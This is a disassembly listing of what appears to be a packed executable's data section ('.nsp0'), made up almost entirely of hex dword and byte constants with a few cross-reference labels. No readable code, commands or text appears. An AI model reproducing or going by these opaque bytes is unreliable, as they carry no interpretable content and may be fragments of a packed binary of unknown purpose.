dd 0D2311B2Ch, 908AD200h, 0C939C6B8h, 4AFBDEDFh, 1AFDDEE9h
dd 0B0A2AF8h, 1335FF78h, 0C6714862h, 0DDCB1CC2h, 6090D745h
dd 3BCFCF3Dh, 0F06A3FEEh, 665920D1h, 8A7695C7h, 7BF2CEF3h
dd 4873D5ADh, 4AA1CB23h, 8377026Ch, 13B09B01h, 0D53E5144h
dd 61BF35E2h, 619D4BFh, 0F6CEB873h, 5810D6BFh, 92C99712h
dd 0F985AD1h, 0B58011C7h, 6C4A5B3Bh, 7187AE2Ch, 0E8B86EFBh
dd 87C9062Fh, 3663D46h, 11EC7073h, 28D3FFC2h, 0F1506DADh
dd 0CC9956D9h, 7F718051h, 0EC94876Fh, 45908F08h, 6EEBF454h
dd 0CD256F40h, 0BF29B17Fh, 0BBA7E919h, 8DADCEAh, 0F795EFF4h
dd 704E37E0h, 0CAC14D4Dh, 0D4F49A85h, 6E57FA01h, 3A063638h
dd 0F9F2F66Ch, 6BE0E9C6h, 9D8F819Ch, 0DE469AFEh, 0FA68F37Eh
dd 4661D177h, 619ADC01h, 0F8071C42h, 6F4B74DBh, 72A625C3h
dd 0DE98E0B4h, 0F038D80Dh, 0C3B34EE0h, 3395B310h, 7E488A1h
dd 0B6D9D6CEh, 40543D9Bh, 0E338A617h, 5BEE2FA3h, 8338F6ADh
dd 0F59F0850h, 961F223Dh, 0F00065B9h, 752CAD03h, 0B782AFEEh
dd 96196FD5h, 0E353CD91h, 65CCCCF1h, 6F6DD35Bh, 0CBAEE11Ah
dd 0A1625F05h, 0ABC43C04h, 4FB47B93h, 0DB0C8939h, 8CCA331Fh
dd 7EE52022h, 67A6DAF9h, 0C089FCD6h, 0B3A2E586h, 0C6609882h
dd 1D0760FAh, 2F24AECh, 7138A9ADh, 0C46E067Bh, 0E241E489h
dd 11FB1A85h, 3B8111E2h, 746BE062h, 0BE2A9550h, 247C900Bh
dd 4D03D217h, 6403B61Dh, 0C71C07C1h, 5FB50318h, 9C088C9Dh
dd 1B2B1E01h, 0CE040C0Ch, 47B717CDh, 1371AA0Ah, 26CED18Ch
dd 80E4D156h, 480F7A3Bh, 7CF52ACAh, 3452EC51h, 71FCE25Bh
dd 58F8058Fh, 389420B2h, 22F3D782h, 79CA38Dh, 27E66209h
dd 1CE38BEFh, 0F9FC08AFh, 5124F016h, 150D5687h, 0DC72A8F4h
dd 0D30F802Ah, 946146ADh, 0A8DBD5DCh, 744E5E29h, 0F7B820E3h
dd 0A86D7ABFh, 0FCA43E7Bh, 460682D9h, 0EE965417h, 8E917679h
dd 0A3ED2E59h, 7A83EB43h, 5E5084B7h, 3738B914h, 0C0C876BDh
dd 4D9C36E3h, 8A53E6F6h, 42E2F12Fh, 0A780BC64h, 109EB558h
dd 80BF51A6h, 8F5F794Dh, 631EB846h, 0F47A7DDAh, 818F304Dh
dd 6F6F71C5h, 0BB7DD46Bh, 53EEE7BDh, 56CA8CC2h, 69325ABh
dd 0C2AF30Dh, 67B7100Dh, 595DB19h, 0AB7F04BAh, 0F4016A47h
dd 85B0F65Fh, 374C91ADh, 72ECC51Ah, 0F2A5268Ah, 0F0340EADh
dd 3478F8BCh, 363A57DCh, 8A4237F1h, 6BD10697h, 0FB560A4h
dd 0E0B2BD7Fh, 4A272FABh, 6514124Fh, 0F207768h, 81F8B159h
dd 0A7E73B57h, 1720EDA3h, 0BE3AB613h, 0C5F846D1h, 0F8D0EAACh
dd 281E39DEh, 0F493DD8Fh, 0D9D69785h, 0EB35DF20h, 94F84940h
dd 412E7BA5h, 0D88154Dh, 84F08EF4h, 0D2533370h, 13F72BD0h
dd 7F0528CBh, 41A99E88h
dd 566FBF5h, 4F437E7h, 0C94A3B04h, 65D34B4h, 6F297DD3h
dd 0A9F14602h, 6B2D321Fh, 0FDE25198h, 9D56BF4h, 2EDB7878h
dd 0EBBC8020h, 0C3D2ED6h, 14E7EBA2h, 4F4414CCh, 72EC52B1h
dd 28834589h, 0FCDFE242h, 7AB5EE6Ah, 0F5E52B69h, 648F5B19h
dd 0D3E4727Dh, 3F7FCF2Dh, 7965B048h, 3AF4B8B9h, 6AC7865Ah
dd 71F2CDC2h, 1148DC10h, 5F50021Bh, 0FF637475h, 0AE33CD96h
dd 0ECAFF703h, 5C8B13EBh, 53E48F54h, 118794E7h, 0D816BEDAh
dd 0CEAF55FDh, 0ADBFBBB0h, 0C1D6DDF6h, 20B74C71h, 6C859284h
dd 6E849772h, 0EE9CB47Ah, 96EEFE63h, 35E1CC61h, 9A347276h
dd 38FF5CB0h, 0CF086683h, 8E635B62h, 9F4D4DF0h, 0D1EC19F4h
dd 0D25AACEEh, 2B237CD4h, 2375AF3Bh, 7047C8B3h, 55C7230Dh
dd 734BD5CEh, 4E57832Fh
db 0ABh
byte_504341 db 0C6h, 1Dh, 2Fh ; DATA XREF: .nsp0:off_438D74o
dd 3546C98Fh, 0D5EC8B39h
db 1Dh, 2, 0C6h
byte_50434F db 87h ; DATA XREF: .nsp0:off_438D70o
dd 8505CE67h, 689A0776h, 3D6FAE14h, 4C91457h, 1C188093h
dd 0A265CECFh, 9CDF871h, 0D9F07D6Bh, 8C265DE8h, 5DE12404h
dd 0A9E49747h, 0B03169B0h, 97BB64F1h, 0FFDFB2E2h, 0CCB26829h
dd 12516CA1h, 0CC9CBAA4h, 0C152B91Dh, 3BFC256Bh, 0DC9DBF94h
dd 0B2C2CFA1h, 0CF44D1D3h, 9C70AFDFh, 45EBD8Dh, 49159A75h
dd 712D6C05h, 823C35FAh, 0DC40CCA3h, 90488915h, 0D8D648ABh
dd 43E1BE24h, 4CEF6F40h, 1560D814h, 0E9C665BCh, 0A6829C58h
dd 0DD8B7139h, 0C615F9E4h, 2380C0E4h, 9EDF0A3Ah, 35365B37h
dd 554B6882h, 7B8A6B1Fh, 8346C2Fh, 374D02DBh, 3744F938h
dd 0AC49D80Eh, 4BC5F114h, 0F0BC7AC5h, 0E0BBE330h, 0B8145FEh
dd 299CEE94h, 4F45E2C7h, 0B54201DBh, 5DCA0ECAh, 6F00BAC9h
dd 8C344DC7h, 8AF21423h, 0C5D8325Ah, 4B16A3B3h, 6BD54466h
dd 6B0F4243h, 160C1362h, 190049BAh, 8135A0E0h, 0E34D7024h
dd 34AF2971h, 0C23D6911h, 0DC2F8235h, 13DA742h, 0A9818C33h
dd 9D822C99h, 1BC3365Fh, 0A6E6868Bh, 595439DBh, 0B7D3FC4Eh
dd 0E365A6DBh, 6AAF967Dh, 66B9A4CEh, 8E7A3D67h, 7F2DFAE5h
dd 0FD9D494Bh, 16087908h, 0E86F2A61h, 0C348D826h, 5C5F0440h
dd 6252508Ch, 12BE1451h, 5C335595h, 9D7EA063h, 0ED813F10h
dd 0CA5B6BD5h, 0FB7BC2h, 4139A732h, 9AE135E4h, 0FEF57148h
dd 0E9ABA58Ch, 187E08EDh, 5E3B7CA0h, 0A0DEE97Dh, 4F13DD8h
dd 9C0B0BEEh, 6120EDCEh, 5AC420CEh, 0F422BC67h, 95008762h
dd 0E5186B8Dh, 0AC3572EFh, 0FF9023C4h, 3828E40h, 161D05B0h
dd 5E549092h, 0C6200CE9h, 517AC247h, 0CBD9C209h, 0C73B3A01h
dd 7AB9560Ch, 0DC615017h, 4E61B70Ch, 2B73ECF4h, 0B48A4D9Fh
dd 10D1A2A1h, 6C48226Ch, 59FAA93Ah, 348920DAh, 0FBBF3215h
dd 905650CFh, 0F72F4F1Ah, 0DB050EDDh, 0F7BAFA8Ch, 0A7E3A380h
dd 1D8F2A9Dh, 3AADB1ACh, 0CC848D63h, 1AE7CCA0h, 16ADD25Bh
dd 8E41C923h, 0F23B9BD8h, 9D08C9DFh, 0E4A5A290h, 0C8081993h
dd 0FA54CD66h, 3EBC31AFh, 8D1527B6h, 7A8A085Bh, 14900D8Bh
dd 86E87C8Ch, 0E764987h, 0D883E3F6h, 70C1E49Ch, 0F70E6779h
dd 40CE8F33h, 0FE97C06Fh, 0BBAA4AE3h, 65326C70h, 4C556F80h
dd 0E027AB93h, 0E52DA7F8h, 4AE8BB77h, 867CC8ADh, 817EBE27h
dd 0C6BE17E4h, 0A2A9728Eh, 8CD661B5h, 7D39E449h, 0D6295084h
dd 2CB77FECh, 494C2E4Ah, 54929463h, 1C447EC3h, 0E67C5333h
dd 0D5DAE37Ah, 3A220D2Fh, 0C8B44C28h, 0CEFCD0B4h, 9E0952CCh
dd 0BFB55476h, 0D77AB8F5h, 0DF48B11Bh, 0CF95D9BDh, 0C503088Fh
dd 22D800ACh, 881C1C93h, 91215EAFh, 154CFAE1h, 0F67B8B5Eh
dd 0D78B0F3Fh, 26C710CBh, 13C71FD1h, 8D9FE5E2h, 31E145DCh
dd 14BDF16Eh, 488C592Fh, 7C88195Ah, 102C2051h, 41BCC76Ah
dd 9E8C11A7h, 5E555CDCh, 4AEC4E83h, 7A25A383h, 0EC29CE05h
dd 61C688CCh, 10D13E5Ah, 24B881B5h, 13C97A4Fh, 0F1068AABh
dd 9781E094h, 44246297h, 0BE2B7B95h, 5E5F0E51h, 805441BCh
dd 0BDE961EFh, 0D05E99C5h, 0FE714ADEh, 0CEE753D8h, 4BA7CD6Dh
dd 8A055B73h, 592C2AA5h, 270F55AAh, 280F87B5h, 0ECDB56F0h
dd 0A05C8D0Dh, 62B2E395h, 0C9CE9DBDh, 1414B174h, 0AAB8276Ah
dd 4BCA8926h, 9283F94Fh, 459021EDh, 0AECE20B6h, 0D139A4D2h
dd 0FFF475A3h, 0F0C3D47Ch, 0FF31373Ch, 40747FB2h, 1ED93204h
dd 172B8EF4h, 0F8F01C88h, 0F5E81DB3h, 96837FEEh, 387C5CC2h
dd 0CBACCE9Dh, 0DCFCE9F0h, 86944D6Bh, 706D5FF9h, 0C0D99EF6h
dd 75FA439Ch, 92AA6187h, 0A19E1149h, 4337BCD5h, 4B08BD00h
dd 0BF1A2018h, 0D087CE2h, 982C2C89h, 776466CCh, 0F722AB1Bh
dd 6B2195AFh, 29B75E3Bh, 1D628A22h, 0E0FFD123h, 77170813h
dd 0E4F2AB90h, 771968C6h, 857AB2D9h, 0F53CB9BFh, 0EC2D4B4Fh
dd 0CFCA6F1Ch, 404BC8FAh, 0DCD17D3Eh, 0AE2E91BEh, 0D2EB2BCDh
dd 0F9D5D754h, 5AE7AF1h, 0E0513D72h, 9F27CC16h, 3184B88Bh
dd 2E399B18h, 0B9F1C9EDh, 9F981F88h, 0AFC34333h, 0CE777F5Dh
dd 75FD6B0Ch, 2F8121BFh, 0DF2B0A3Fh, 0D6E98831h, 9AFB0F38h
dd 705CAB3Dh, 0E8C31DD4h, 5EAD5B4Bh, 0C6C2E884h, 8B76F80Ah
dd 39226C5Ch, 42DEEBC9h, 406F0937h, 0BB0C8B4Ah, 0FC1952Ch
dd 128A005Bh, 0C2DF95Dh, 0CE0520FBh, 6733EA74h, 0DFF9F7EFh
dd 0F94C722Dh, 15976695h, 5BB30BC5h, 3084A75Fh, 0BF6EE830h
dd 0F8DB19F4h, 90DAFBE0h, 8AE9F03Bh, 389B8681h, 0EA58E508h
dd 91112C21h, 962A4B4Bh, 0E3F90DA3h, 8E30F4BCh, 0F6C2DDDAh
dd 4204D1CBh, 0E6261E8Ch, 899B29A5h, 862F84CBh, 7F15D41Eh
dd 9BA279DEh, 0ED67D893h, 0F2C7ED16h, 8C4377Ch, 735C8FB0h
dd 1D8A9C72h, 53AB9D51h, 0E005FDB3h, 57F861C8h, 0F9B7B9E6h
dd 0D18ED374h, 0BA19CF75h, 0A3E0EDDCh, 488EA2Ah, 1C2D87D9h
dd 391C59B9h, 0EDFA627Eh, 4B79CB7Ah, 278E772h, 3134E20Ah
dd 0CEC21EBFh, 6B9BFEFFh, 54AD8F37h, 3A2E1D23h, 68E9DB09h
dd 9391C73Bh, 15D88284h, 0D5539C22h, 0B1808757h, 0F35F00FCh
dd 0C0BE75EFh, 32B437D8h, 0EDD5A125h, 7D2CC3AEh, 0E3734027h
dd 1F88C2CEh, 3155769Fh, 263F57C0h, 0D1963C44h, 1EA49F2Dh
dd 139FB9C8h, 7AA1D73Bh, 566352B6h, 72B56981h, 5F1843FBh
dd 7075E76Dh, 4CDB121Dh, 95E472E7h, 0BA81B9E5h, 6B9615C4h
dd 0CB1670D8h, 0DD59C546h, 0A0D58730h, 2B195E82h, 52EAC8D3h
dd 2E04C4B5h, 4E487A5Eh, 55C80394h, 0B4B78345h, 14620A57h
dd 0F2A2AA26h, 615FE6C9h, 4C052E8Fh, 5A1564B7h, 4AB70DE8h
dd 0CBC30854h, 0C7517113h, 0EDAB30C8h, 217FC594h, 0EA07ADFBh
dd 6DE8E0E1h, 0DBC6F375h, 649ED30Eh, 0E8778C81h, 0BAD6C4F9h
dd 0F830DAA7h, 0A5138A97h, 0A9E9FA4Dh, 0EEFCD61Fh, 2B5CB4F6h
dd 0AC3C6B35h, 3C591005h, 6A42364h, 0A1E5B5DFh, 4F7576ABh
dd 0C7E8FC28h, 0E3E1EE17h, 68036E18h, 3FB74596h, 66D6215h
dd 0F5D5A624h, 0C149B910h, 7578605Fh, 0E9C2D3F3h, 0B1B46100h
dd 0FA3E62F6h, 4D257431h, 3E678EF2h, 81FC664Ch, 3253B2D6h
dd 1563735h, 0D939EBA4h, 702EE7F8h, 514D387h, 0CC39918Fh
dd 630A8B7h, 0C3CBA2A6h, 0D3200D88h, 0BEA6807Dh, 4940C606h
dd 616B021Dh, 31E73872h, 0EFF37A8Ch, 9D0A55F1h, 69F394ECh
dd 0E9275B88h, 8C726CD8h, 17E710FBh, 0CD26C27Ch, 86EFE6D9h
dd 8FB94667h, 97D915BEh, 5BF4F706h, 74CF2DAh, 0D11AB473h
dd 2B9632Fh, 3C464519h, 9F59352Ah, 1B13E8Ah, 0CF0A77C4h
dd 0FDA33B2Bh, 41A39D6Ch, 12E97AA5h, 4968ADh, 0F6C3382Ah
dd 30B5E00Eh, 862D1760h, 0A4016481h, 0CDE28F4Dh, 0D9E052FBh
dd 3CFC4935h, 4C65A303h, 7944197Eh, 40522C8Fh, 38BF680Ch
dd 0DBF0CD44h, 0F023097h, 83419F98h, 397E8CD5h, 84FFA03Ch
dd 0E38C5DB6h, 0D05EC198h, 6B15D5BCh, 46B0DCA2h, 0A9636EFDh
dd 19FDCC96h, 2E1EFD40h, 96008747h, 2A793FB8h, 0DCB96A0Fh
dd 9D726308h, 4C8E77DAh, 0A524538Eh, 212DE8E2h, 0A408546Eh
dd 51F5E7BAh, 0CCFB02BAh, 835810D9h, 3EEF3626h, 80E290CAh
dd 2CA813E3h, 31AF1683h, 8D0A6BEh, 857D1132h, 15BC6DD8h
dd 104F7D23h, 0DF20820Dh, 7E7DA999h, 2FE18DCh, 79139627h
dd 64D88208h, 463B4C6Bh, 6FEC1217h, 0D3986191h, 6625A59Ch
dd 0A9D3DF81h, 0CA15D497h, 6DD7DCE2h, 0CF92BDE4h, 3DFF205Bh
dd 896D28BCh, 4298D628h
dd 0CB682F30h, 58817CA1h, 18F0B873h, 5072FB72h, 0C2472DC4h
dd 0C9FB7847h, 0E7CB7172h, 9797DD27h, 0EFD6CF61h, 0C1214064h
dd 61FA8FBCh, 0DCACE9C0h, 4AC2E8EDh, 10F4C2CCh, 93E54771h
dd 0A3B36DB0h, 5F9A2A6Ch, 6B5B7F54h, 1D6AEA5Eh, 0A1313ABBh
dd 0F99027E2h, 8D879451h, 0CC00D851h, 0C340456Dh, 0BDEDB07Eh
dd 154F8905h, 86F64117h, 6CEDA285h, 8CBAE674h, 0A7D47A19h
dd 862B29FCh, 0F9CB7031h, 0B402579Eh, 0B0F78FA6h, 4B3889DAh
dd 1A055620h, 0A8F2EE45h, 13FB0B83h, 0F7F7C9B6h, 2E92CE30h
dd 7939CCB0h, 7AC89574h, 0C285834Fh, 71D72B00h, 8C1F1E40h
dd 74ED2871h, 38AF1AB9h, 0DEED3EBFh, 0F6BFDDF6h, 0AA4F889h
dd 2E5A0D07h, 4A51EB99h, 31457616h, 2695F269h, 0F14D110Dh
dd 0C4DE4C3Ah, 48953739h, 957D300Dh, 9A6D821Eh, 2DF93800h
dd 7310494h, 7EE10D2Fh, 0B32B8CEAh, 0F76AABA5h, 9526E3FDh
dd 2D73FC1h, 0FF4E6270h, 8B9F11A9h, 0AC5F2A5Bh, 8939AFD3h
dd 0F3FE2834h, 0AA2C51F7h, 2123AEDBh, 7B68A13Ch, 0A525350Ch
dd 42E001E7h, 9F60A524h, 0B93E04E9h, 0AB311694h, 115FD523h
dd 8C389F81h, 30BECDF1h, 125E7232h, 451BFFCCh, 84DF2EBAh
dd 0F8B48AB4h, 0C3F2BFC5h, 7A214C5Bh, 8106E075h, 0B0AAE53Fh
dd 0E7D650E7h, 3C93DF2Dh, 4407808Eh, 0F7A5183Ch, 0D34DF885h
dd 0B9C97AA2h, 0F2B6839Eh, 711F54C4h, 6F607878h, 85F2BD06h
dd 1ED882CCh, 0E2D77309h, 0E9E47481h, 0EE876D42h, 0A66D58FBh
dd 0A3A6DD65h, 6BD64E73h, 6A5D41BFh, 0B59F6637h, 0A16DB902h
dd 2158F2D1h, 504E4C00h, 1ED74FEFh, 0FCA2BB9Eh, 16189C0Fh
dd 607F6CD4h, 29EA8F93h, 63F438E8h, 46E0D242h, 42672B42h
dd 7023F05h, 0B0BBF70Dh, 97A02F36h, 8FE26FEFh, 7D6263E3h
dd 1509B3CCh, 261EBC3h, 17BD1E7Ah, 0DD05D9A2h, 89A64650h
dd 44920402h, 0A584B2CDh, 435AE8DBh, 0DFE13D02h, 48A4F43Ah
dd 59E39997h, 0F74D2E83h, 0E9DB0C65h, 3FA8587h, 206535CBh
dd 2A96E712h, 0A7D5A3CEh, 0B65D0E3h, 8C050732h, 2D68E067h
dd 94DB8573h, 0F433D1A9h, 1CA20A03h, 0F65217D7h, 0ABBCDEAEh
dd 11DE74D3h, 0A0A6D3CDh, 0A787A10Ch, 662C6A4Ah, 2EC6E2A1h
dd 11C94499h, 64D38097h, 0CF554C5Ah, 6086F8F0h, 9BFF6D5Fh
dd 5B85BC17h, 238B1DA4h, 2C9190CAh, 0C3EDB839h, 0BA3F1DB8h
dd 0FF8D82EFh, 0EC96E9DCh, 4A9151A5h, 7309F59Bh, 0B38C2980h
dd 0E8D77715h, 0B0D9A3A5h, 44ED9028h, 0CF3D4123h, 0D1F060B1h
dd 0DF076F23h, 4F06F88Eh, 0DC37B0D2h, 50909011h, 8CA54C84h
dd 0CFE79E67h, 35D2F676h, 6802030Ah, 0C7D93B12h, 34F6176Eh
dd 749CA9F6h, 4B6EA14h, 35D4D98Eh, 694340AFh, 952ED9D9h
dd 0B3628F8Fh, 0E0094BC6h, 0CBAC4FF0h, 8879979Ch, 0BE4BB620h
dd 0E183946Dh, 5181E8DCh, 6E588D4Ch, 0CAB95818h, 4674D34Fh
dd 0DC34ADDh, 6B34D4A9h, 0E417C843h, 6E47B770h, 6F069078h
dd 8C05502Eh, 0AE8147D0h, 82E669FAh, 0B34BE954h, 46189FE6h
dd 8156E819h, 4A14B37Eh, 0CCDAE0D8h, 0E0A70FBEh, 5A15BD75h
dd 53CD118h, 0B2FE60E2h, 2C696DAFh, 0B4CBE231h, 0C275E1EEh
dd 0AE71475Eh, 6C588273h, 2ADCDC29h, 0A196119h, 0CF968411h
dd 8AC3556Eh, 3F3384DCh, 3673D4FFh, 0AF3443ECh, 2B855512h
dd 551989B6h, 959ACCD2h, 51052E5Ch, 4385617Ah, 0D392DF0Dh
dd 8A3108DFh, 339B3344h, 3AEDD242h, 417317E1h, 653E1D35h
dd 12F3CD96h, 71CCDD06h, 21794261h, 0F217787Ah, 7EE0DE34h
dd 43B52F1Ah, 6B320F53h, 0E675DF47h, 2E66DF04h, 0E1A84561h
dd 7C28E7E5h, 0B9AA7592h, 21B05006h, 17C3930Fh, 0DA86DC05h
dd 56C1AB7Bh, 0B8483077h, 2254A24Eh, 0ADE255A0h, 17A99504h
dd 2A0A6F2Ah, 490143F1h, 33202501h, 0BAE38C8Ch, 486980B3h
dd 91823CF0h, 6624C125h, 0C920A494h, 1788A6A2h, 14CF528Dh
dd 25356FC5h, 0A1357C00h, 0C3DABD69h, 0E1A382CCh, 0C7989DB8h
dd 0FA77A340h, 28FE49E3h, 91D62955h, 75350A1Ch, 0EA1B1684h
dd 718A0025h, 0BD1C69B9h, 46CEAD4Dh, 0F2B15B78h, 0E4EBE7D7h
dd 0F277C507h, 0A1F7B752h, 3DE09927h, 0ED71FF9Eh, 0CAE16495h
dd 18247110h, 0E9B75BB1h, 952AA991h, 0A8372C47h, 909BB2E7h
dd 536B0B25h, 66162C66h, 33A189E1h, 0BAD4C5B4h, 0F08D9CFCh
dd 2E13DA31h, 0B6BB8DBEh, 3CAEF31Eh, 0A1C5B6F0h, 0DA8AD12Dh
dd 6BBC3D5Eh, 0F3CF1E56h, 8163809Bh, 0EDF08A10h, 7F526D51h
dd 8D842E0Eh, 0A96EACA3h, 2AD301FCh, 0B5FE21BAh, 4B70E745h
dd 1E45C782h, 0FE6D91C0h, 2B4FBF3Fh, 45130267h, 49728B0Bh
dd 219C6FEEh, 6C6E0795h, 0B096F7D7h, 93ABEF59h, 130C544Fh
dd 0B336106Fh, 0FA56E940h, 5D5EAFD0h, 2ACAFFD6h, 0C5A4B671h
dd 5318B417h, 0FA97CE80h, 0C067B1E3h, 27D36D47h, 3772211Fh
dd 32C7446Eh, 7CC45245h, 0B1652C7Fh, 0D6133E5Ah, 0C930F5C1h
dd 84ECD95Fh, 0FE5C7CD4h, 9DC994B7h, 85D6AF6Dh, 34575CD5h
dd 8F201101h, 0F8144524h, 0CE81942Ah, 833F0872h, 3456BD35h
dd 2EF02573h, 0A7F455E5h, 0E70AA74Ah, 2E31631Fh, 0DF87C259h
dd 0EA9FD926h, 0B085FBDh, 76C00845h, 49B789E3h, 9D6AB5F5h
dd 6C1CA62Bh, 14280AACh, 0CEEF7FD8h, 0B5DDE40Ch, 8F639C6Fh
dd 50BFF41Ah, 872B9023h, 0C62FFAEh, 24B7BB83h, 0ED79E457h
dd 43AD7629h, 0D0DB3BFDh, 0C83E707Ah, 99B1AA12h, 0A6B81512h
dd 5294E115h, 4FE96559h, 23869456h, 0F8EEABB2h, 0EC589E0Bh
dd 74520D52h, 0C234E49Eh, 54625FF3h, 0C6980D8Eh, 54A47320h
dd 0E0140B44h, 5B7AE5BAh, 862E450Bh, 2083A229h, 57EE5326h
dd 0DA0D348Ah, 0A183769Eh, 8B2D10D8h, 44BC66B6h, 0BE1DF3CDh
dd 0F6F355DFh, 0ADB266A1h, 0F7E50BFBh, 37B69585h, 4B21041Ah
dd 0EEC7819Ch, 495B4B47h, 0D9155522h, 0CBFB1FF0h, 54DC3037h
dd 87C60443h, 4095774Bh, 0CB5DD906h, 0C0D7F779h, 0D08664E6h
dd 25B9314Ah, 0B106C6C2h, 0E481E384h, 50B157C9h, 0BF970BBFh
dd 0B845B597h, 0B9C45F0Bh, 75122224h, 15BA1CFAh, 4A41D96Ch
dd 3D4BDAE2h, 49E49DB4h, 52A0CC6Fh, 30BDE4F2h, 25CFA1F3h
dd 86FCD32Fh, 450F46C8h, 5A3EC85h, 13164E71h, 4BAAE087h
dd 0BED92836h, 0D1C26A73h, 0BF67CFFCh, 0DE6432DBh, 0ED059520h
dd 0F70364F6h, 0E3A9DCBCh, 3A7C10C4h, 45DD3748h, 0F190E7B2h
dd 2986859Fh, 1D153928h, 86108B9h, 3C193C1Dh, 0E7A84B0Fh
dd 0F7EFF857h, 0EC45A4BCh, 323E8E9Ah, 2D1360C9h, 2BCDA2BDh
dd 7A8A3E42h, 583F40E3h, 71E2A7A4h, 666069DFh, 22BF1BBDh
dd 283D82Eh, 9FB5B8CDh, 76E32C21h, 0E4AC9C06h, 0BF92656h
dd 0A28988B8h, 98C79F53h, 5724FB68h, 7A4347D7h, 0B02661DEh
dd 59F22A2Ah, 7A779060h, 787BE45Dh, 65E715A0h, 3E44F56Fh
dd 479E7C2Eh, 0E9F79370h, 8D8F48C6h, 0E2DEB7D1h, 0F97A1987h
dd 0B6606256h, 2F156211h, 0B1FC66CEh, 87ACCC9Eh, 88FE7427h
dd 4355DF1Bh, 0D3DA61DBh, 80002AC4h, 39E0D12Eh, 821DE269h
dd 0D0E6168Dh, 1700DCF9h, 63A6878Ah, 5E1BFBD5h, 0EF8B80Bh
dd 28598696h, 0BFA75C3Ch, 12FD9716h, 33F1FAEh, 34218F08h
dd 0CE1E9EA3h, 0E992B5FDh, 5A5FF0B2h, 70E54044h, 0C5BC937Ah
dd 61028A15h, 198EB97Fh, 10B16651h, 0A5B27ADFh, 9AB209B4h
dd 0E29244F8h, 4FC8815Bh, 0BC42C3D9h, 0C24FD3F1h
db 0EEh
byte_505345 db 71h, 0FFh, 4Bh ; DATA XREF: .nsp0:off_451E80o
; .nsp0:off_451E88o ...
dd 147756DAh, 8D6B896Dh, 0C57E9E90h, 0DBA2FA23h, 7D26AB9Bh
dd 8CE127FFh, 0BCB9D7F5h, 0C0A7788Dh, 7D9B80BFh, 4A101A8Ah
dd 5D9F62C9h, 5A32D17Ch, 59FB1D31h, 0E8CCEF43h, 5537F593h
dd 4047DF7Eh, 9B5D9CDh, 6A6D414Eh, 0E24CF802h, 0DBC32C10h
dd 0F534D785h, 35E14EC3h, 182B478Ah, 466AD0B0h, 0A2CD7986h
dd 712EF171h, 0A05933FCh, 0F0E3E307h, 0F4B43FADh, 3E5C55D9h
dd 0E0FE9421h, 114ED1B4h, 0B480B06Fh, 0EC5FDD03h, 124108C2h
dd 0A5DBD4BEh, 0D00A70DEh, 0C3DF8184h, 0BCB81A67h, 0D9D6286Fh
dd 8DD00395h, 0D1AB9969h, 81087948h, 4EF269E1h, 5E32897Bh
dd 24F72CACh, 0E7D7CAAAh, 3B176860h, 0DC54955Fh, 907917EEh
dd 3ED708Fh, 2E7483E1h, 59762A03h, 7A1E8DB3h, 0BF188140h
dd 25158BD3h, 771FFFE1h, 0E952895Ch, 85C22814h, 4B9CDBF4h
dd 167597C8h, 0B4598C38h, 0FB0F83ACh, 3EAC46ECh, 8E2CFD1Ah
dd 0A3B2A636h, 0B90B63F9h, 0F5E5DA5Ch, 8C310139h, 0BE0AC0C5h
dd 76300364h, 699214B9h, 0D6B4FD08h, 5C7150DBh, 0CE11DEDAh
dd 4A02E76h, 2FFC268h, 0B8BA7092h, 678C74C1h, 0DF4EFB0Bh
dd 899ED16Ah, 0FFF65A5Dh, 3CDADED2h, 7D7C36BBh, 59DB9764h
dd 0C41A1DF7h, 0B76DE52Bh, 0BCAE7856h, 0A72A3DFBh, 9FE8A46h
dd 8BDEE169h, 0D004E7BEh, 7DE560Fh, 1D8D5FC6h, 0EAE5E49Dh
dd 18D0147Dh, 5B391BF3h, 0CC06570Fh, 4FAB6238h, 0C9E417B4h
dd 3E2DA2D1h, 740CFDA2h, 10939D62h, 97F9695Fh, 0A41A65ECh
dd 3AFD4C42h, 7671B63Ah, 8E74F76Ch, 0E8776516h, 3D7678E0h
dd 3008FEEBh, 2C8CC0FEh, 0FB090433h, 0D66F5D34h, 0C0E60F4Ah
dd 497E0143h, 6EA32A2Ch, 41AA4DF8h, 80DC128Ch, 0F87F4DBEh
dd 9DAC85D8h, 0AF33A245h, 24DB6E63h, 46196B34h, 0DAFD3525h
dd 0D136D38Fh, 17B54476h, 0F3621935h, 0EFDB5B44h, 1DFCAB77h
dd 0CB95C1C8h, 0EED9239Dh, 7761A805h, 19CFD95Fh, 309C3707h
dd 0B7AFAF3h, 0AA7CD289h, 7930C8FAh, 0F2032E24h, 0D2260813h
dd 15B78164h, 9CFADFE4h, 5AC921D2h, 0B24CD6h, 0C01765E2h
dd 65E42C26h, 0E8ACDE2Ah, 3955038Fh, 5868E6D2h, 4DAD4F2Bh
dd 7721B85Ch, 6F5D1604h, 0F5B82C9Dh, 5ABE27BEh, 0FE508ACCh
dd 708C04C8h, 42EA2003h, 9EFA0FE8h, 389A4BAFh, 0B873B5BFh
dd 0BE825CE7h, 0B39616D4h, 232CD9F2h, 361A528Eh, 399F07EFh
dd 0E9B6800Eh, 3A3E47EEh, 1B1F48CAh, 61F8B5E8h, 0D19007F9h
dd 3E09A08Eh, 94D36378h, 314E791h, 0E0270B54h, 878B9D1Dh
dd 0E74DFA97h, 0B502D766h, 888D4BFAh, 1BA4EEBDh, 5648FDD7h
dd 2A07756Dh, 0F3D523C1h, 69F37836h, 0CB05E515h, 15D115BEh
dd 212ED8AAh, 0AFE91FFEh, 0EBF4BA15h, 75E23D22h, 9193BEC9h
dd 4CA654BCh, 0C4A6FDECh, 0B2F55DEh, 43F209FBh, 45C22893h
dd 0AD78F11Bh, 0CDB80BA3h, 0FBD2D0C5h, 2D0FD7F3h, 0D14A6411h
dd 0EA39F071h, 58A8BFCDh, 0D83178E3h, 0BBF26F1Eh, 0A007E66Ah
dd 63F8AD33h, 2FB59055h, 4DD5AE86h, 0AD710CD6h, 1EF81F6Ah
dd 9D4BEF0Bh, 0E06C7F08h, 5EAD3209h, 0A5AA3043h, 0CCE5BD1Ch
dd 0D3E09C62h, 0B7CED5Bh, 5C523A8h, 0E3ACF449h, 0FA127A03h
dd 7D79F932h, 1E049700h, 7AAFF1DEh, 21B66C25h, 48A2C0B6h
dd 6D64469Ah, 0D8643B24h, 0E133E848h, 31663AA7h, 0AC010945h
dd 0D298992Eh, 5A6FBE37h, 896EA91Dh, 0F24B1D2h, 73ED32A7h
dd 81E688D2h, 0D4B430C0h, 6035A067h, 0B674A3B4h, 0D9BAEB2h
dd 544FE78Bh, 0BB5AFAEDh, 0CBE773E9h, 0B91EC8EBh, 0AB806A4Fh
dd 616B55FCh, 143BD3F8h, 2A6F7718h, 6D85FEBDh, 19D7397Ah
